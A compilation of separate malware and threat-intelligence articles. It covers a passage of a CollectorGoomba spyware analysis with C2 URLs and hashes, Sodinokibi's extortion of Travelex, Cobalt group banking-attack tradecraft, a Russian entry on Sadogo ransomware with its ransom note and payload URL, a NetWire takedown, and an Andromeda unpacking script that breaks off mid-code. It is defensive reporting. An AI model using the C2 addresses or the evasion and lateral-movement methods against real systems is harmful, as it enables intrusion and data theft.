When the spyware acquires its target domain, it exfiltrates the zip archive that contains all of the stolen data. The code calls high-level networking functions HttpSendRequest() and InternetWriteFile() to send an HTTP POST to u667503srd.ha004.t.justns/collect.php. On the spyware command-and-control server, collect.php is listening for connections from spyware. According to the platform developers for this spyware-as-a-service, the attacker clients are able to connect to this server and access the data that they have stolen.
After the stolen data is exfiltrated, the spyware deletes the temporary files it created, frees the memory it used, and finishes executing.
## Command-and-Control Take Down
The VMRay Labs Team sent our findings of the C2 traffic to GitHub and were able to get the malicious repository removed. The attackers can no longer rely on this file to direct the malware to the data exfiltration server. Now when the spyware attempts to get nyun.txt from GitHub, it receives an error instead of the spyware-as-a-service domain *.ha0004.t.justns. CollectorGoomba has poorly programmed and as can be seen in the report, it attempts to upload the stolen data to “404: Not Found.ru/collect.php.” This attempt fails and the sample execution actually crashes. All of the attackers’ malware that was relying on this GitHub repository should now fail to upload the stolen data – regardless of which exfiltration server had been hard-coded into the malware.
As early as Jun 20th, the spyware developers modified and updated their brand new code to now rely on text files hosted on upaste.me. However, any instance of CollectorGoomba which has been compiled before the update should still fail to upload the data it stole.
## So why name it CollectorGoomba?
The spyware is malicious and can definitely harm victims; however, I understand that it is not a sophisticated credential stealer and that it was poorly programmed. During our search to confirm that this was indeed a new sample, we found several discussions on criminal forums about “COLLECTOR Project” and its predecessor “Memory Project.” Honestly, the basic coding of the spyware, malicious nature, and ease of shutting it down reminded me of the basic enemies that you fight in Mario, Goombas. Goombas can be harmful, but they are also unintelligent and can be easily destroyed simply by jumping on them. According to the game’s lore, however, Goombas can actually grow to become a larger threat if left alone. The new spyware strain, CollectorGoomba, is still under active development by its criminal programmers. While the spyware strain is currently easy to block and shut down – without analysis it could potentially grow to become a larger threat.
## Network Defender’s Perspective
Using VMRay Analyzer, defenders and researchers can see exactly how malware executes, even exporting log files as necessary. VMRay supports an add-on for Splunk, allowing analysts to submit the data generated by the VMRay Analyzer directly to Splunk for reporting and correlation with other sources. By using the analyzer, a SOC analyst can safely study the networking features of a potentially malicious program – understanding how the malware works and what indicators of compromise (IOCs) it will generate.
By analyzing this sample using VMRay, a network defender can see in the report that the sample will generate a request for raw.githubusercontent.com/fkarelli/fjrusbftnf/blob/master/nyun.txt and will exfiltrate data to a subdomain of justns.ru. By searching through an organization’s network logs, an incident responder can use this knowledge to find records of DNS queries or even the exfiltration HTTP traffic. Defenders can identify which computers on their network may have been infected. An organization’s intrusion prevention system (IPS) can also be set to monitor for these IOCs and automatically protect the affected computers. A network can also be set to blackhole the DNS queries for raw.githubusercontent.com, upaste.me, or *.ha0004.t.justns.ru. By configuring the network’s local DNS server to give an incorrect answer for those domain names, the spyware will be unable to connect to the command-and-control infrastructure. With the C2 infrastructure safely blocked, data will not be exfiltrated – similar to how older versions of CollectorGoomba will no longer be able to refer to GitHub.
## IOCs
**Sample:**
SHA256: 49a56e067a73bb6f553b8df8a354d3b3328b8fffb64a459a1e719d86df89a322
**C2 Infrastructure:**
- raw.githubusercontent.com/fkarelli/fjrusbftnf/master/nyun.txt
- u7320947p3.ha004.t.justns/collect.php
- u667503srd.ha004.t.justns/collect.php
- u667503gif.ha004.t.justns/collect.php
- u640763aha.ha004.t.justns/collect.php
- 185.22.155.51 (observed hosting collect.php, April 2020 - June 2020)
- upaste.me/r/4040523075fb98d9f (replaces GitHub in latest instance of spyware)
**Spyware Samples Referencing C2 Infrastructure (SHA256):**
- 0d27f5aec4935de8cf10ec74eb5c8558e57768f06ed118a0feed6fecebebaa34
- 0d65734eb25e7671cf618a2cd062a5f45ace06a4aeb8c3475c234daa2211f1ed
- 12fdab70f2ce661a0cd09c7862edb45aa9c974a564d1236dacf7ae81decd95af
- 1bbbf7558d64c231a1fd57b06386de9c28a914306ed1c3fe6c45b46335ef6798
- 31adc3a008913f0d63be55f536d936d405d7468bac97bc820c50ad4f598e7d21
- 36f9a4f21bafa4ade632e47d1f72d31eb0b41d647549f6f455c1ccca9242cde2
- 385651ce8441af1f43c9baf8fc24040a2eea53d574c193e5ba2618d09eef1050
- 3c04368599e361dab09da4e18f822db21c87d7a2531eab7c0e3c6baa5a0f7209
- 51e917806f84d3035b2d94cb3701b07ec47b3dc07a5b3e4dd38a5c552482a8bb
- 5216b6155c962abfd7d01ea02bbe7c7fd4e3c61f66437f1df6f2f0c128157b7a
- 53ad307d86d47f830a4decc093ccac947fb28a4909b7d4e8d02c909d1348d64c
- 5897c6061bf82ece002e1f4db3ea6e9e4ac27339223f66d85778f19fc1fb5bf6
- 76a0602451b6e0ab9e4f1843ae4455e8c0e1488450edd73bda7bd0a698ead565
- 7adfa2e759e2aac98647eea87fdaafb42127c734a524b064d44ad33471e2f7ee
- 7afcd27e5887e417d09657407e52e51d4f62cb070e43c9b698002750d6098129
- 85f5eaccf6bd35d7447b5e65171014d2de833599ed79fd3c2cecea9d946de8ae
- 8efa7e0b78331847d4e541e607da2ede323a506719773854c7643230b7a52994
- 95b98f660cd9a3940264e2d28f80ac6686384b4a5ff69f94fb5618cebfe91d6a
- 9b1c741dc51852aae7654a62f919c9755f4fce79077cf09316fcc764aa782d29
- a4bd9a97b7dc82f254ed96749c5ab1ba8b92332e0d5dd7fc860588e252840f25
- afc1dfa00008188ec3947dda0057a1e6f42330024e2b4e3fba74a5e40fea4d1f
- b6cb4634459bd3eaf6bd3603d5795bbdfc30885f336d6b0b3050da3bb694d570
- bca35de184fe234a061de7872a1b69b68738f900dbe1ed86db6e9514d59c270d
- ce3f2b9a2704436f72efab3a30a622ec89413a9e4c157c0408474dd4573c947c
- e453c1b908c18881bec40c6ae1e85bf64d12ef84d7a9a704cf957af83252af4e
- e9daf12c4d651fa2ce757f1ca6209917bb272c37f1b7d65a4e6f6df32dbccae5
- f120d323fc380bdfb8573dba310c9f66aefd890e0f5b624add1d1af15c51937e
- fcdefe8655c9b54d44a587435ef2d19320b0deba57d52afabc3f4f1416aee2d7
**Active Samples (now using upaste.me instead of GitHub):**
- 639bd88a73154bd38aa18eaea3e968b76f4431ade64d25936cc7e34509075f94
- c2b96838c24b59490a318b4165ae8231b9ed2f7e1b0cb61391c7816ff0f859f9
|
# Sodinokibi Ransomware Says Travelex Will Pay, One Way or Another
The attackers behind the Sodinokibi Ransomware are applying pressure on Travelex to pay a multi-million dollar ransom by stating they will release or sell stolen data that allegedly contains customer's personal information.
In a New Year's Eve ransomware attack on Travelex, the Sodinokibi Ransomware operators allegedly stole 5GB of unencrypted files and then proceeded to encrypt the foreign currency exchange company's entire network. In a conversation with BleepingComputer, the Sodinokibi Ransomware actors stated that they were demanding a $3 million ransom or they would release the data containing "DOB SSN CC and other." This amount was later changed to $6 million.
In a statement by Travelex, the currency exchange company stated that there is no evidence that any data was stolen. "Whilst the investigation is still ongoing, Travelex has confirmed that the software virus is ransomware known as Sodinokibi, also commonly referred to as REvil. Travelex has proactively taken steps to contain the spread of the ransomware, which has been successful. To date, the company can confirm that whilst there has been some data encryption, there is no evidence that structured personal customer data has been encrypted. Whilst Travelex does not yet have a complete picture of all the data that has been encrypted, there is still no evidence to date that any data has been exfiltrated."
The Sodinokibi actors, though, paint a different picture. When told that Travelex was denying any data was stolen, they told BleepingComputer that they were currently negotiating the ransom price with Travelex and that they would benefit even if a ransom is not paid. "If this were true, they would not bargain with us now. On the other hand, we do not care. We will still benefit if they do not pay. Just the damage to them will be more serious."
This became clear in a recent forum post to a Russian hacker and malware forum where the public representative for the REvil/Sodinokibi Ransomware stated that if Travelex does not pay the ransom, they will sell the stolen PII information of their customers to other attackers. The post translated to English as: "There are no seats. And not planned. Travelex recommend starting to raise funds for payment, or DOB + SSN + CC will be sold to anyone." The statement "There are not seats." in Unknown's post means that REvil is not accepting any new affiliates at this time.
The user named 'Unknown' is the public-facing representative of the Sodinokibi Ransomware and has made forum posts in the past when the ransomware first launched and they began building a team of affiliates composed of veteran malware distributors.
Ransomware operators have been threatening to release stolen data for some time, but none carried out their threats until the Maze Ransomware group released the stolen data of Allied Universal. Since then, Unknown has also stated that Sodinokibi Ransomware will adopt the tactic of releasing stolen data as leverage to get victims to pay.
To this date, Sodinokibi has not released any stolen data and it is not known for sure if they will release Travelex's if the ransom is not paid. However, if the data is released, it will open up a whole new world of business problems for Travelex. The Sodinokibi actors are right, too. No matter what happens, Travelex will incur further damage; either through the payment of a ransom, the public release of their data, or by the data being sold to other threat actors.
If the data is released, the attack will need to be classified as a data breach, notifications and free monitoring services will need to be offered, GDPR fines would be likely as are the risks of class action lawsuits. BleepingComputer has contacted Travelex with questions regarding this story but has not heard back.
## Transparency in ransomware attacks is necessary
When an organization suffers a ransomware attack, they usually try to hide the attack or downplay its impact to prevent customer concerns, damage to brand image, and a plunging stock price. This commonly, though, backfires as the severity of the attacks ultimately leak and make the company look worse than if they had been transparent about it in the first place.
Now that many ransomware attackers are claiming to steal data before encrypting devices, it is more important than ever to be transparent about these attacks as they could now be classified as data breaches. By hiding this information, companies are more likely to be hit with government fines and lawsuits as customers' personal information is compromised. Instead, companies should follow Norsk Hydro's lead and be fully transparent during a ransomware attack by providing timely updates, customer notifications, and public information. This approach not only made Norsk Hydro customers feel better but also increased their brand image.
|
# Secrets of Cobalt
**How Cobalt hackers bypass your defenses**
In June 2016, the first attack conducted by the Cobalt group was tracked at a large Russian bank, where hackers attempted to steal money from ATMs. The attackers infiltrated the bank's network, gained control over it, compromised the domain administrator's account, and reached the ATM control server.
The bank's Information Security team detected traces of malicious programs and suspicious connections to the server. To stop further unauthorized access, the entire bank was blocked from accessing the Internet. This turned out to be the best solution, as the Cobalt group set up a controlled botnet in the bank's network which was very difficult to track and even harder to stop.
The day after the attack, Group-IB experts came to the bank's central office and began searching for the source of the attack; ascertaining the stages of its development, causes, and consequences; analyzing the malicious programs; and restoring the chain of events. The computers that were involved in the attack were then examined.
Group-IB forensic specialists immediately understood that they faced a new approach to targeted attacks on banks. They were not wrong. The June incident was a "test" of a new attack technique that the attackers would begin using in July in the CIS, Europe, and Asia. For example, over $2m USD was stolen from 34 ATMs operated by the First Bank, one of Taiwan's largest banks. In October 2016, Group-IB published the report about the Cobalt group. Now, a year later, this group is continuing to attack banks, which is reported monthly by Group-IB's Threat Intelligence team.
Initially, the Cobalt group focused on jackpotting ATMs: they launched a program that sent commands directly to the dispenser to issue cash. Then the group shifted to other systems in the bank including card processing, payment systems, and SWIFT. Once gaining access to such systems, attackers studied how payments and other financial transactions are conducted to repeat them. That said, the services, such as payment processing systems or SWIFT are not actually hacked or the 'weak point'. The actual vulnerability is the bank and the protection methods against such advanced attacks.
The Cobalt group's attacks are always executed according to the same template. The basic principles of targeted attacks on financial institutions have not changed since 2013 when the Anunak, Corkow, Buhtrap, and Lurk groups began conducting the first attacks on Russian banks. The only thing that has changed is the tools.
## Network penetration
In all cases investigated by Group-IB, the Cobalt group used a set of spear phishing emails to gain initial access to the corporate infrastructure. The attackers use mail servers to carry out mass mailing of phishing messages containing attachments to employees of the organization of interest. Message subjects and attachment names are written in such a way that the employees want to open them.
The mailing is carried out on a mass scale: in any organization, messages are usually sent to between 10 and 40 employees. However, some of the email addresses belong to employees that no longer work at the organization, which means that the Cobalt group likely uses out-of-date mailing lists. Each message contains an attachment that loads the payload – part of Cobalt Strike software – to the computer's operating memory.
In order to make this download possible, attackers have tried several different formats of attachments and emails, as their primary task is to bypass mail filters, protection measures, and the company's security policy. First, archives with .exe and .scr executables were used as an attachment.
The archive is password-protected in order to bypass anti-virus scans, security systems, and mail filters. However, when there is use of a security policy that prohibits the transfer of encrypted archives, such an email message may be blocked, so the attackers would send .doc files that contain exploits for Microsoft Office.
This scheme assumes the presence of a vulnerable version of software. Companies can protect themselves by updating all software they use in a timely fashion. Of course, the risk of zero-day vulnerabilities remains, but we have not yet seen their use in these types of attacks. For organizations that perform timely updates of their systems and adhere to strict security policies, the Cobalt group employs another method to deliver malicious code through emails with Word documents containing a malicious macro. When opening the document, the user must click on the "Enable content" button, which enables macros.
One of Cobalt's tasks when crafting spear-phishing emails is to conceal the sender. In events where of a simple substitution of the sender's field, the majority of mail servers block these messages. Therefore, the Cobalt group registered domains are similar to real ones (for example, diebold.pw), and configured their email server to distribute acting as these legitimate domains.
As soon as the attachment is launched and the malicious code is executed, the Cobalt Strike payload is loaded in the memory. This tool is used for penetration testing, which means that it isn't available only to cyber-fraudsters. This software provides a full set of functions for managing a downloaded module, and accordingly, an infected computer. This set includes a keylogger, screenshots, remote access via VNC, injections into processes, the ability to bypass the UAC security system, the Mimikatz tool, which is used to compromise access credentials for Windows OS accounts, the ability to scan open ports on an organization's computers, etc.
## Running in RAM
Cobalt Strike modules aren't stored in the file system; their executable code can only be found in RAM. By default, the code runs in the context of rundll32.exe process, but can be injected into any process, for example, to increase the rights and number of privileges. In addition, Cobalt Strike enables users not to expose a fragment of memory allocated in the context of another process, the RWX (Read, Write, Execute) attributes, which often reveal injected code. Finally, not all anti-virus tools can scan RAM.
## Provision of the malware survivability
The Cobalt group uses different methods to ensure malware survivability on corporate networks. The goal is to set the startup path to the executable file or program code, launching it with the powershell.exe shell command to access the Internet resource specified in the code in order to download and install Cobalt Strike module. In this way, the payload itself is not saved in the system, but rather is reloaded each time. Another bonus of this method is that a different payload can be loaded each time.
Startup is ensured only on several machines that have access to the Internet. As a response, the following startup methods have been recorded: through a service, startup registry keys, and Windows OS tasks, by replacing the legitimate executable software files prescribed in startup with the executable file of the attackers. From our experience, the Cobalt group uses a new method to provide its survivability in every attack. The danger of OS tasks is that their startup can be delayed. Even if the network is not infected now, in a month the corresponding task may work, and the payload will get into the organization's computers.
## Bypassing anti-virus tools
Usually in spear-phishing emails, no exploits or any executable modules are detected by anti-virus tools. The attackers try to reassemble the loaded modules in order to bypass the signature analysis of anti-virus tools. Cobalt Strike provides the ability to use the Artifact Kit framework for these purposes and even modify it, as it is distributed in the source code. Aside from that, startup is performed by loading Cobalt Strike into the main memory without saving to the file system. Additional means of circumventing anti-virus tools include the use of exploits to increase the level of rights and privileges, bypassing UAC, and injecting code into trusted processes.
## Bypassing network security
Cobalt Strike allows users to install two types of modules: HTTP/HTTPS/DNS modules and SMB modules. The former module is installed on a system that has access to the Internet and provides interaction with the C&C server using HTTP/HTTPS/DNS protocols. After the email message sent by the attackers is opened, such a module is downloaded to the system. Another module is installed even in systems that do not have Internet access, as, using SMB protocol (which is typically used within a local network), the SMB module is controlled via infected computers running the HTTP/HTTPS/DNS module.
To circumvent intrusion detection and prevention systems, as well as firewalls and proxy servers with signature rules aimed at detecting requests of a certain type, the Cobalt Strike modules generate communication profiles using the HTTP protocol: the value of the protocol's service header and query parameters are given, the data can be forwarded as header value, as the value of the parameter sent with the URI, as part of the URI, and sent in the body of HTTP message. When interacting with the C&C server, the data (executable files, commands, and the outputs of those commands) is encrypted. For interaction on HTTPS protocol, HTTP protocol profiles may be used with an indicated SSL certificate, but for data exchange on the DNS protocol, it requires DNS A, AAAA, and TXT records. In this case, one may separately specify the interaction intervals between the C&C server and the module on the infected computer.
The Cobalt Strike module can use several profiles and switch between data exchange methods on command from the C&C server without the need to update the module. The addresses of the C&C servers change from the moment the intruders penetrate the company's network until the moment the money is stolen, thus avoiding blacklists of IP addresses or domain names. In this way, a controlled botnet is created within the organization that has access to any computer, even those that do not have access to the Internet.
## Network distribution
To run malicious programs on other computers on the network, including Cobalt Strike modules, the following methods are used, which are provided by Microsoft products for admin accounts to:
- Create a service on another computer to run the program code, start the service, and delete it. As for the command line, a program code is written and passed to the input of the powershell.exe command interpreter.
- Connect to a shared directory (C$, ADMIN$) on another computer, copy the module to it, create the service, run it to start the module, and then delete the service; delete the module.
- Connect to another computer using PsExec.exe (the remote access program is included in the Microsoft SysInternals suite), copy the module, and run it; delete the module.
- Connect to another computer via RDP, copy the module, and run it; delete the module.
After creation, the services are deleted. Remote access via RDP and using PsExec is typical for network administrators. Therefore, traces of programs that operate only in RAM are difficult to detect in a timely manner. Usually OS logs and memory dump can help. More detailed information can be obtained during an advanced security audit and by periodically making backup copies of these logs.
## Use of standard tools
Cobalt Strike is publicly accessible and can be downloaded in order to learn and create detection rules on the network. Aside from that, to work within an organization, the Cobalt group uses standard tools, including:
- remote connection via the RDP protocol (built-in capability of the OS);
- remote connection using PsExec;
- remote connection using TeamViewer, which allows a user to preserve remote access in case control using the Cobalt Strike module is lost;
- network scanning using the SoftPerfect Network Scanner program;
- secure connection using the Plink program.
To prevent this threat, the company should configure filter rules to detect the above-mentioned tools on the corporate network. TeamViewer calls can be controlled by rules on the firewall, proxy server, etc.
## Conclusion
After infecting one computer on an organization's network, the Cobalt group analyzes the programs used on it and searches for critical servers and the computers from which they are accessed. Financial organizations usually spend a lot of money on information security and consider their isolated subnets to be safe. However, all of these subnets are controlled by people, and there is practically always access to a secure subnet from an unsecured one, even if it's just from one computer with a unique account. This is exactly what attackers will be looking for. As we know from our experience, it takes from 2 weeks to 1.5 months to gain access to critical infrastructure.
This means that bank's information security specialists have, on average, one month to identify attackers on a network. Anti-virus solutions do not help; the only thing that can protect your company is knowledge of how, who, and with what tools hackers are attacking. That's why it is critical to update software in a timely manner and study reports from Threat Intelligence specialists that provide indicators of compromise and modern hacking techniques.
|
# Sadogo Ransomware
Sadogo (шифровальщик-вымогатель) шифрует данные пользователей с помощью AES+RSA, а затем требует выкуп в # BTC, чтобы вернуть файлы. Оригинальное название: в записке не указано. На файле написано: нет данных.
## Обнаружения:
- **DrWeb**: Trojan.Encoder.31586, Trojan.Encoder.31587, Trojan.PWS.DanaBot.281
- **BitDefender**: Trojan.GenericKDZ.66633, Generic.Ransom.Sadogo.9412983E
- **Avira (no cloud)**: TR/AD.KpotSteal.ED
- **ESET-NOD32**: A Variant Of Win32/GenKryptik.EITE, A Variant Of Win32/GenKryptik.EITH
- **Malwarebytes**: Trojan.MalPack.GS
- **Rising**: Trojan.Snojan!8.E387 (CLOUD), Trojan.GenKryptik!8.AA55 (CLOUD)
- **Symantec**: Trojan.Gen.2, Downloader
- **TrendMicro**: TROJ_GEN.R002H0CDK20
К зашифрованным файлам добавляется расширение: .encrypted. Внимание! Новые расширения, email и тексты о выкупе можно найти в конце статьи, в обновлениях. Образцы этого крипто-вымогателя были найдены в середине апреля 2020 г. Штампы дат: 25 ноября 2018 и 22 августа 2019, но они могут быть фиктивными датами. Ориентирован на англоязычных пользователей, что не мешает распространять его по всему миру.
Записка с требованием выкупа называется: readme.txt
### Содержание записки о выкупе:
Dear user! Your computer is encrypted!
To decrypt your computer, you need to download the TOR browser at https://www.torproject.org/download/
Install it and visit our website for further action http://reco3zanpd2ijycv.onion/
Your id: daa1938***
Перевод записки на русский язык:
Дорогой пользователь! Твой компьютер зашифрован!
Для расшифровки твоего компьютера тебе надо скачать браузер TOR из https://www.torproject.org/download/
Установи его и посети наш сайт для дальнейших действий http://reco3zanpd2ijycv.onion/
Твой id: daa1938***
## Технические детали
На момент написания статьи нет никаких данных о распространении и пострадавших. Может распространяться путём взлома через незащищенную конфигурацию RDP, с помощью email-спама и вредоносных вложений, обманных загрузок, ботнетов, эксплойтов, вредоносной рекламы, веб-инжектов, фальшивых обновлений, перепакованных и заражённых инсталляторов. Нужно всегда использовать актуальную антивирусную защиту! Если вы пренебрегаете комплексной антивирусной защитой класса Internet Security или Total Security, то хотя бы делайте резервное копирование важных файлов по методу 3-2-1.
Вероятно используется в качестве прикрытия (англ. cover) для распространения инфекции трояна Kpot, а не для получения выкупных платежей. Троян Kpot предназначен для кражи различной личной информации, включая учетные данные из установленных приложений и браузеров, игровых клиентов, почты и других служб, включая кошельки электронных платежных систем и хранения криптовалюты. Украденная информация отправляется на сайт злоумышленников. Подобный метод использовался в CoronaVirus Ransomware в марте 2020.
### Список файловых расширений, подвергающихся шифрованию:
Это документы MS Office, OpenOffice, PDF, текстовые файлы, базы данных, фотографии, музыка, видео, файлы образов, архивы и пр.
### Файлы, связанные с этим Ransomware:
- readme.txt - название файла с требованием выкупа
- sadogo.pdb
- tor.exe
- 7f77.tmp.exe (soft.exe)
- <random>.exe - случайное название вредоносного файла
### Расположения:
- \Desktop\
- \User_folders\
- \%TEMP%\
- C:\gicoxubusofumo89-nosunaxo28\cefukifogurakamilewi8\loba\sadogo.pdb
- C:\majuzicehoxa_sujoya viratedof-cawanojaboza17_yayujo tel.pdb
### Записи реестра, связанные с этим Ransomware:
См. ниже результаты анализов.
### Мьютексы:
См. ниже результаты анализов.
### Сетевые подключения и связи:
- URL: xxxx://45.63.123.237/
- xxxx://45.63.123.237/tor.exe
- 237.123.63.45.in-addr.arpa
### Email:
BTC:
См. ниже в обновлениях другие адреса и контакты.
См. ниже результаты анализов.
### Результаты анализов:
- Ⓗ Hybrid analysis >>
- 𝚺 VirusTotal analysis >> VT>
- 🐞 Intezer analysis >>
- ᕒ ANY.RUN analysis >>
- ⴵ VMRay analysis >>
- Ⓥ VirusBay samples >>
- MalShare samples >>
- 👽 AlienVault analysis >>
- 🔃 CAPE Sandbox analysis >>
- ⟲ JOE Sandbox analysis >>
Степень распространённости: низкая. Подробные сведения собираются регулярно. Присылайте образцы.
### ИСТОРИЯ СЕМЕЙСТВА
### БЛОК ОБНОВЛЕНИЙ
Обновление от 12 мая 2020:
Пост в Твиттере >> - ошибочно указан как Payment45 Ransomware
Расширение: .encrypted
Записка: readme.txt
Tor-URL: xxxx://reco3zanpd2ijycv.onion/
Результаты анализов: VT + IA
### БЛОК ССЫЛОК и СПАСИБОК
Thanks:
dnwls0719
Andrew Ivanov (author)
to the victims who sent the samples
© Amigo-A (Andrew Ivanov): All blog articles. Contact.
|
# FBI and International Cops Catch a NetWire RAT
International law enforcement agencies have claimed another victory over cyber criminals after seizing the website and taking down the infrastructure operated by criminals linked to the NetWire remote access trojan (RAT).
Police in Croatia on Tuesday arrested a suspect who allegedly administered the worldwiredlabs website, which has sold the NetWire malware for several years. On the same day, a US judge approved a seizure warrant that allowed federal authorities in Los Angeles to seize the internet domain, and Swiss law enforcement seized the server hosting the NetWire RAT infrastructure.
The malware, first discovered in 2012, is often hidden in malicious files. The RAT is a favorite of cyber crime gangs and state-backed groups and is frequently delivered by phishing attacks. After infecting a victim's smartphone or laptop, the RAT's capabilities include stealing passwords, keylogging, and remotely controlling the device.
"By removing the NetWire RAT, the FBI has impacted the criminal cyber ecosystem," Donald Alway, the assistant director in charge of the FBI's Los Angeles field office, declared in a statement.
"The global partnership that led to the arrest in Croatia also removed a popular tool used to hijack computers in order to perpetuate global fraud, data breaches, and network intrusions by threat groups and cyber criminals," Alway added.
The FBI's Los Angeles bureau opened an investigation into the malware distributor in 2020. As part of this, undercover agents created accounts on the website, paid for a subscription, and "constructed a customized instance of the NetWire RAT using the product's Builder Tool," according to the affidavit in support of the seizure warrant.
As described in a warrant, Verisign redirected the worldwiredlabs domain to servers controlled by the FBI. Neither US nor Croatian authorities released the suspect's name. However, infosec journalist Brian Krebs has identified Mario Zanko of Zapresic, Croatia, as the owner of the domain since 2012.
The malware peddler allegedly sold NetWire licenses for between $10 and $1,200, according to Croatian police, who have yet to determine the total illicit haul from selling the RAT. Other criminals who bought the malware used NetWire to target healthcare organizations and banks.
The NetWire takedown follows several other international law enforcement operations over recent months intended to disrupt high-profile cyber crime gangs. Earlier this month, German and Ukrainian cops, working with Europol and the FBI, arrested suspected members of the DoppelPaymer ransomware crew and issued warrants for three other "masterminds" behind the global operation.
In January, US and international law enforcement partners shut down Hive's ransomware infrastructure following a seven-month covert operation. During that time, the FBI hacked Hive's network and used that access to provide decryption keys to more than 300 victims, saving them $130 million in ransomware payments.
That same month, European cops arrested 15 suspected scammers and shut down a multi-country network of call centers selling fake cryptocurrency that law enforcement alleged stole upwards of hundreds of millions of euros from victims.
|
# Proofpoint is Closely Monitoring the Rapidly Evolving Threat Landscape Related to Ukraine and Russia
March 3, 2022
Proofpoint stands for the defense of peace and human rights, and a diplomatic resolution to the fighting in Ukraine. We continue to monitor the activity of threat actors actively involved with, seeking to influence, or trying to profit from the conflict, and are releasing these findings continuously for the benefit of defenders globally.
A full timeline of Russian nation state-aligned activity is below.
We’ve also recently published research detailing compromised Ukrainian military accounts targeting NATO governments (likely conducted by a Belarussian state-aligned actor), Russian infrastructure conducting password spray attacks, and have released Emerging Threats signatures for the wiper malware first detected by ESET. We will continue monitoring and updating our blog as new information comes in.
- **Asylum Ambuscade:** State Actor Uses Compromised Private Ukrainian Military Emails to Target European Governments and Refugee Movement
- **Cloud Credential Compromise Campaign:** Originating from Russian-Affiliated Infrastructure
- **The Good, the Bad, and the Web Bug:** TA416 Increases Operational Tempo Against European Governments as Conflict in Ukraine Escalates
- **Mobile Malware is Surging in Europe:** A Look at the Biggest Threats
## How Proofpoint Can Help
Proofpoint protects organizations’ biggest risks and greatest assets: their people. If you're interested in learning more about our world-class cybersecurity platforms, please contact us and we’ll be in touch as soon as possible.
|
# Andromeda Bot Analysis Part 2
## Malware Analysis
Now, you get the original Andromeda build file. Load the unpacked sample at OllyDBG. As before, after the stack frame at the EP, you see that the malware is looking to load API addresses using the PEB_LDR_DATA structure, but this time instead of kernel32.dll, the malware tries to find ntdll.dll base address. Then, it will parse the EAT, hash each API, and make comparisons to find the needed APIs.
After getting inside the CALL, it will calculate the hash of a buffer located at 00402028:
```python
def calc_hash(string):
return binascii.crc32(string) & 0xffffffff
```
Then, it compared it with 0xBD274BDB. If it does not match, it calls RtlExitUserThread. We will figure out soon what kind of data has been hashed. Afterwards, ZwAllocateVirtualMemory will be called and return for me 7FFA0000. Then the CALL at 00401343 will copy the whole buffer to the allocated space. Next, we see the CALL at VA 00401351, which takes 4 arguments, and one of them is a pointer to our unknown buffer. This routine is actually performing an RC4 encryption; you could recognize that by looking at the constants. This is how basically some cryptographic algorithms are detected; RC4 has loops that go till 256, which is 0x100 in hexadecimal.
Using ZwAllocateVirtualMemory again, we allocate a new memory space to the partially decrypted payload so it is finally decompressed using the aPLib library. The code that follows is responsible for processing relocations and fixing imports. For instance, from NTDLL, Andromeda is importing these APIs:
- LdrLoadDll
- RtlDosPathNameToNtPathName_U
- RtlFreeUnicodeString
- LdrProcessRelocationBlock
- RtlComputeCrc32
- RtlWalkHeap
- RtlImageNtHeader
- RtlImageDirectoryEntryToData
- RtlExitUserThread
- ZwSetInformationProcess
- ZwUnmapViewOfSection
- ZwAllocateVirtualMemory
- ZwMapViewOfSection
- ZwFreeVirtualMemory
- ZwOpenFile
- ZwQueryDirectoryFile
- ZwClose
- ZwQueryInformationProcess
You can find a script here of an old version of Andromeda thanks to 0xEBFE. You still need to make some minor changes on it to get it to work correctly, particularly the APIs and Imports, which changed a bit:
```python
from idaapi import *
from idautils import *
from aplib import decompress
import binascii
import struct
IMPORTS = {
'ntdll.dll': (
'ZwResumeThread', 'ZwQueryInformationProcess', 'ZwMapViewOfSection',
'ZwCreateSection', 'ZwClose', 'ZwUnmapViewOfSection',
'NtQueryInformationProcess', 'RtlAllocateHeap', 'RtlExitUserThread',
'RtlFreeHeap', 'RtlRandom', 'RtlReAllocateHeap', 'RtlSizeHeap',
'ZwQuerySection', 'RtlWalkHeap', 'NtDelayExecution'
),
'kernel32.dll': (
'GetModuleFileNameW', 'GetThreadContext', 'GetWindowsDirectoryW',
'GetModuleFileNameA', 'CopyFileA', 'CreateProcessA',
'ExpandEnvironmentStringsA', 'CreateProcessW', 'CreateThread',
'CreateToolhelp32Snapshot', 'DeleteFileW', 'DisconnectNamedPipe',
'ExitProcess', 'ExitThread', 'ExpandEnvironmentStringsW',
'FindCloseChangeNotification', 'FindFirstChangeNotificationW',
'FlushInstructionCache', 'FreeLibrary', 'GetCurrentProcessId',
'GetEnvironmentVariableA', 'GetEnvironmentVariableW',
'GetExitCodeProcess', 'GetFileSize', 'GetFileTime',
'GetModuleHandleA', 'GetModuleHandleW', 'GetProcAddress',
'GetProcessHeap', 'CreateNamedPipeA', 'GetSystemDirectoryW',
'GetTickCount', 'GetVersionExA', 'GetVolumeInformationA',
'GlobalLock', 'GlobalSize', 'GlobalUnlock', 'LoadLibraryA',
'LoadLibraryW', 'LocalFree', 'MultiByteToWideChar', 'OpenProcess',
'OpenThread', 'QueueUserAPC', 'ReadFile', 'ResumeThread',
'SetCurrentDirectoryW', 'SetEnvironmentVariableA',
'SetEnvironmentVariableW', 'SetErrorMode', 'SetFileAttributesW',
'SetFileTime', 'SuspendThread', 'TerminateProcess', 'Thread32First',
'Thread32Next', 'VirtualAlloc', 'VirtualFree', 'VirtualProtect',
'VirtualQuery', 'WaitForSingleObject', 'WriteFile', 'lstrcatA',
'lstrcatW', 'lstrcmpiW', 'lstrcpyA', 'lstrcpyW', 'lstrlenA',
'lstrlenW', 'CreateFileW', 'CreateFileA', 'ConnectNamedPipe',
'CloseHandle', 'GetShortPathNameW'
),
'advapi32.dll': (
'CheckTokenMembership', 'RegCloseKey', 'ConvertStringSidToSidA',
'ConvertStringSecurityDescriptorToSecurityDescriptorA',
'RegOpenKeyExA', 'RegSetValueExW', 'RegSetValueExA',
'RegSetKeySecurity', 'RegQueryValueExW', 'RegQueryValueExA',
'RegOpenKeyExW', 'RegNotifyChangeKeyValue', 'RegFlushKey',
'RegEnumValueW', 'RegEnumValueA', 'RegDeleteValueW',
'RegDeleteValueA', 'RegCreateKeyExW', 'RegCreateKeyExA'
),
'ws2_32.dll': (
'connect', 'shutdown', 'WSACreateEvent', 'closesocket',
'WSAStartup', 'WSAEventSelect', 'socket', 'sendto', 'recvfrom',
'getsockname', 'gethostbyname', 'listen', 'accept', 'WSASocketA',
'bind', 'htons'
),
'user32.dll': ('wsprintfW', 'wsprintfA'),
'ole32.dll': ('CoInitialize',),
'dnsapi.dll': (
'DnsWriteQuestionToBuffer_W', 'DnsRecordListFree',
'DnsExtractRecordsFromMessage_W'
)
}
def calc_hash(string):
return binascii.crc32(string) & 0xffffffff
